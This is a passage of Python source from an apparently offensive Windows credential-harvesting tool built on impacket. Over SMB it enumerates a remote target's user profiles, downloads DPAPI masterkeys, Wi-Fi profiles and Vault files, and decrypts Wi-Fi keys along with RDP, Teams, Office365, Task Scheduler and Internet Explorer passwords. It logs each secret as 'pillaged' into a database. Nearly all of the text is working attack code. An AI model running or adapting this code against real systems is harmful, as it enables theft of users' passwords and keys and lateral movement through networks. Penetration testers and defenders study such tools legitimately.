# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname2))
user.files[longname2] = {}
user.files[longname2]['type'] = 'wifi'
user.files[longname2]['status'] = 'encrypted'
user.files[longname2]['path'] = localfile
with open(localfile, 'rb') as f:
try:
file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
wifi_name = re.search(b'<name>([^<]+)</name>', file_data)
wifi_name = wifi_name.group(1)
user.files[longname2]['wifi_name'] = wifi_name
key_material_re = re.search(b'<keyMaterial>([0-9A-F]+)</keyMaterial>', file_data)
if not key_material_re:
continue
key_material = key_material_re.group(1)
#with open("key_material.tmp", "wb") as f:
# f.write(binascii.unhexlify(key_material))
except Exception as ex:
self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
self.logging.debug(ex)
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = None#"key_material.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None#user.masterkeys_file
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
self.logging.debug(f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
#cred_data = mydpapi.decrypt_credential()
cred_data = mydpapi.decrypt_blob(raw_data=binascii.unhexlify(key_material))
if cred_data != None:
user.files[longname2]['status'] = 'decrypted'
user.files[longname2]['data'] = cred_data
user.files[longname2]['secret'] = cred_data
self.logging.info( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
############PROCESSING DATA
self.db.add_credz(credz_type='wifi',
credz_username=wifi_name.decode('utf-8'),
credz_password=cred_data.decode('utf-8'),
credz_target=wifi_name.decode('utf-8'),
credz_path=user.files[longname2]['path'],
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
#semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.error(f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
self.logging.debug(ex)
return 1
def GetVNC(self):
try:
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
myvnc.vnc_from_filesystem()
myvnc.vnc_from_registry()
except Exception as ex:
self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
self.logging.debug(ex)
def GetVaults(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
blacklist = ['.', '..','UserProfileRoaming']
#credentials ?
#Vaults ?
#Parse chrome
#autres navigateurs ?
#CredHistory
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault','DOMAIN')]
machine_directories = [("ProgramData\\Microsoft\\Vault",'*','vault','MACHINE'),
("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\",'*','vault','MACHINE')] #Windows hello pincode
for user in self.users:
if user.username == 'MACHINE$':
directories_to_use = machine_directories
else:
directories_to_use = user_directories
if len(user.masterkeys_file)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(username=user.username) #f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned %s" % longname)
if longname not in blacklist and is_directory:
self.logging.debug("Got Vault Directory %s" % longname)
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
try:
# First get the Policy.vpol
local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['UID'] = longname
user.files[longname]['path'] = tmp_pwd2
user.files[longname]['vpol_path'] = local_vpol_file
user.files[longname]['vpol_status'] = 'encrypted'
user.files[longname]['vsch'] = {}
user.files[longname]['vcrd'] = {}
user.files[longname]['data'] = ''
# Decrypt the keys
myoptions = copy.deepcopy(self.options)
myoptions.vcrd = None # Vault File to parse
myoptions.masterkeys = None
myoptions.vpol = local_vpol_file
myoptions.key = None
mydpapi = DPAPI(myoptions,self.logging)
guid = mydpapi.find_Vault_Masterkey()
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
mydpapi.options.key = masterkey['key']
keys = mydpapi.decrypt_vault()
if keys != None:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
tmp_vaultkeys = []
if keys['Key1']['Size'] > 0x24:
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
else:
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(
keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
tmp_vaultkeys.append(
'0x%s' % binascii.hexlify(
keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
self.logging.debug( f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
user.files[longname]['vpol_status'] = 'decrypted'
user.files[longname]['status'] = 'decrypted'
user.files[longname]['data'] = tmp_vaultkeys
else:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
continue
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
continue
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
continue
#Look for .vsch : Vault Schema file
#Then gets *.vcrd files
my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
self.logging.debug( f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
for infos2 in my_directory2:
longname2, is_directory2 = infos2
self.logging.debug("ls returned file %s"%longname2)
if longname2 not in blacklist and not is_directory2 and not longname2=="Policy.vpol":
try:
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2,longname2))
if longname2[-4:]=='vsch': #PAS G2R2 pour le moment
user.files[longname]['vsch'][localfile]={}
user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
user.files[longname]['vsch'][localfile]['type'] = 'vsch'
user.files[longname]['vsch'][localfile]['vault_name'] = longname2
user.files[longname]['vsch'][localfile]['path'] = localfile
continue
elif longname2[-4:]=='vcrd':
user.files[longname]['vcrd'][localfile] = {}
user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
user.files[longname]['vcrd'][localfile]['path'] = localfile
myoptions = copy.deepcopy(self.options)
myoptions.vcrd = localfile # Vault File to parse
myoptions.vaultkeys = tmp_vaultkeys
myoptions.vpol=None
myoptions.key = None
mydpapi = DPAPI(myoptions,self.logging)
vault_data,data_type = mydpapi.decrypt_vault()
if vault_data != None:
user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
user.files[longname]['vcrd'][localfile]['data'] = vault_data
user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
self.process_decrypted_vault(user,user.files[longname]['vcrd'][localfile])#vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
self.logging.debug(ex)
return 1
def dump_to_file(self,localfile_encrypted,localdata_decrypted):
self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
try:
localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],os.path.split(localfile_encrypted)[1]+"_decrypted")
fh = open(localfile_decrypted, 'wb')
fh.write(f"{localdata_decrypted}".encode('utf-8'))
fh.close()
return 1
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
self.logging.debug(ex)
def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
try:
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
blob_type = secret_file['type']
localfile = secret_file['path']
data = secret_file['data']
if blob_type == 'rdg':
self.logging.debug("IT S A Remote Desktop Cred file")
clear_data = self.dump_credential_blob(data)
elif blob_type == 'credential':
if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in data['Target'].decode('utf-16le'):
clear_data=self.dump_CREDENTIAL_TSE(user, localfile, data)
elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A MSTeam Credential!")
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
elif 'Domain:batch=TaskScheduler' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A TaskScheduler Cred!")
clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
'''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
Username : Domain\Administrateur
Unknown3 : @&&&&&&&
'''
elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A Office365 Cred!")
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
'''
[CREDENTIAL]
LastWritten : 2020-02-18 08:48:39
Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
Type : 0x1 (CRED_PERSIST_SESSION)
Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
Description :
Unknown :
Username :
Unknown3 : xxxxxxxxx
'''
elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
self.logging.debug("IT S A Windows Live service or application Cred!")
clear_data = self.dump_credential_blob(user, localfile, data)
# ADCONNECT
elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
clear_data = self.Get_AD_Connect(user, localfile, data)
elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'):#Autres Targets
self.logging.debug("Other legacy Credential")
clear_data = self.dump_credential_blob(user, localfile, data)
else:
self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
clear_data = self.dump_credential_blob(user, localfile, data)
#clear_data = ''
secret_file['secret'] = clear_data
self.dump_to_file(localfile, clear_data)
self.logsecret(clear_data)
# TSE Account
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
def dump_credential_blob(self,user, localfile, decrypted_blob):
#from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping decrypted credential blob info to file")
#self.logging.debug(decrypted_blob)
info="\n"
info+=f"[CREDENTIAL]\n"
try:
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
self.logging.debug(info)
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password=f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
except UnicodeDecodeError:
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
#print()
if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}" :#"WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
for entry in decrypted_blob.attributes:
try:
info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(CREDENTIAL_FLAGS, entry['Flags'])}\n"
info += f"Data : {entry['Data']}\n"
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
entry.dump()
continue
############PROCESSING DATA
self.db.add_credz(credz_type='credential-blob',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_TSE(self, user,localfile,decrypted_blob):
#from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping TSE decrypted credential blob info to file")
#self.logging.debug(decrypted_blob)
info="\n"
info+=f"[CREDENTIAL]\n"
try:
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password=decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password=decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_MSOFFICE(self, user,localfile,decrypted_blob):
#from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
#self.logging.debug(decrypted_blob)
info="\n"
info+=f"[CREDENTIAL]\n"
try:
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password=decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password=decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def dump_CREDENTIAL_TASKSCHEDULER(self, user,localfile,decrypted_blob):
#from impacket.ese import getUnixTime
try:
self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
#self.logging.debug(decrypted_blob)
info="\n"
info+=f"[CREDENTIAL]\n"
try:
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
self.logging.debug(ex)
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
try:
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
password=decrypted_blob['Unknown3'].decode('utf-16le')
except UnicodeDecodeError:
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
password=decrypted_blob['Unknown3'].decode('latin-1')
############PROCESSING DATA
self.db.add_credz(credz_type='taskscheduler',
credz_username=decrypted_blob['Username'].decode('utf-16le'),
credz_password=password,
credz_target=decrypted_blob['Target'].decode('utf-16le'),
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
self.logging.debug(info)
return info
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
self.logging.debug(ex)
def process_decrypted_vault(self,user,secret_file):#data ,user ,localfile,blob_type,args=[]):
try:
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}")
blob_type = secret_file['type']
localfile = secret_file['path']
data = secret_file['data']
if blob_type=='vault' or blob_type=='vcrd':
try:
vault_name = secret_file['vault_name']#args[0]
vault_type = secret_file['vault_type']#args[1]
self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ")
print(vault_type)
if vault_type == 'WinBio Key':
data = self.dump_VAULT_WIN_BIO_KEY(user,localfile,data)
elif vault_type == 'NGC Local Account Logon Vault Credential':
data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user,localfile,data)
elif "NGC" in vault_type :
data = self.dump_VAULT_NGC_ACCOOUNT(user,localfile,data)
elif vault_type == 'Internet Explorer':
data = self.dump_VAULT_INTERNET_EXPLORER(user,localfile,data)
self.logsecret(f"Vault {vault_name} : {data} ")
#user.secrets["Vault:%s" % vault_name] = data
secret_file['secret'] = data
self.dump_to_file(localfile, data)
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_INTERNET_EXPLORER(self,user,localfile,vault_blob):
try:
self.logging.debug("Formating VAULT_INTERNET_EXPLORER info")
retval = "[Internet Explorer]\n"
retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n"
retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n"
retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n"
############PROCESSING DATA
self.db.add_credz(credz_type='browser-internet_explorer',
credz_username=f"{vault_blob['Username'].decode('utf-16le')}",
credz_password=f"{vault_blob['Password'].decode('utf-16le')}",
credz_target=f"{vault_blob['Resource'].decode('utf-16le')}",
credz_path=localfile,
pillaged_from_computer_ip=self.options.target_ip,
pillaged_from_username=user.username)
return retval
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_WIN_BIO_KEY(self,user,localfile,vault_blob):
try:
self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file")
retval ="\n[WINDOWS BIOMETRIC KEY]\n"
retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
retval +=f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n"
retval +=f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n"
return retval
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_NGC_LOCAL_ACCOOUNT(self,user,localfile,vault_blob):
try:
self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file")
retval ="\n[NGC LOCAL ACCOOUNT]\n"
retval +='UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"])
retval +='IV : %s\n' % hexlify(vault_blob["IV"])
retval +='CipherText : %s\n' % hexlify(vault_blob["CipherText"])
return retval
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}")
self.logging.debug(ex)
def dump_VAULT_NGC_ACCOOUNT(self,user,localfile,vault_blob):
try:
self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file")
retval ="\n[NGC VAULT]\n"
retval +='Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical()
retval +='Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le')
#A completer ?
vault_blob['Blob'].dump()
return retval
except Exception as ex:
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}")
self.logging.debug(ex)
def do_who(self):
#if self.loggedIn is False:
# self.logging.error("Not logged in")
# return
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % (
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
session['sesi10_idle_time']))
self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1])
def get_users(self):
self.logging.debug("Listing Users by enumerating directories in $Share\\Users")
blacklist = ['.', '..', 'desktop.ini']
shares = self.myfileops.get_shares()
#Intégrer les users share du premier test
if 'C$' in shares: # Most likely
self.myfileops.do_use('C$')
#self.myfileops.pwd = 'Users'
completion=self.myfileops.do_ls('Users','*', display=False)
for infos in completion:
longname, is_directory = infos
if is_directory and longname not in blacklist:
for user in self.users:
if longname == user.username:
break
else:
self.users.append(MyUser(longname,self.logging,self.options))
self.logging.info(f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
user=self.GetUserByName(longname)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
user.share='C$'
else:
for share in shares:
self.myfileops.do_use(share)
#self.pwd = 'Users'
completion=self.myfileops.do_ls('Users','*', display=False)
for infos in completion:
longname, is_directory = infos
if is_directory and longname not in blacklist:
for user in self.users:
if longname == user['username']:
break
else:
self.users.append(MyUser(longname,self.logging,self.options))
self.logging.debug(f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}")
user = self.GetUserByName(longname)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
user.share = share
#+ADD LOCAL MACHINE ACCOUNT
user = MyUser("MACHINE$", self.logging, self.options)
user.type = 'MACHINE'
user.share = 'C$'
self.users.append(user)
self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip)
return self.users
def get_masterkeys(self):
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}")
blacklist = ['.', '..']
# self.get_shares()
#self.get_users()
for user in self.users:
if user.username != 'MACHINE$':
try:
tmp_pwd = ntpath.join(ntpath.join('Users', user.username),'AppData\\Roaming\\Microsoft\\Protect')
self.logging.debug(f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd)
my_directory = self.myfileops.do_ls(tmp_pwd,'', display=True)
for infos in my_directory:
try:
longname, is_directory = infos
if longname not in blacklist:
self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys")
if is_directory and longname[:2] == 'S-': # SID
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}")
user.sid = longname
if user.sid.startswith('S-1-5-80'):
self.logging.debug(f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}")
user.is_adconnect = True
#user.check_usertype()
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
my_directory2 = self.myfileops.do_ls(tmp_pwd2,'', display=False)
for infos2 in my_directory2:
longname2, is_directory2 = infos2
if not is_directory2 and is_guid(longname2): # GUID
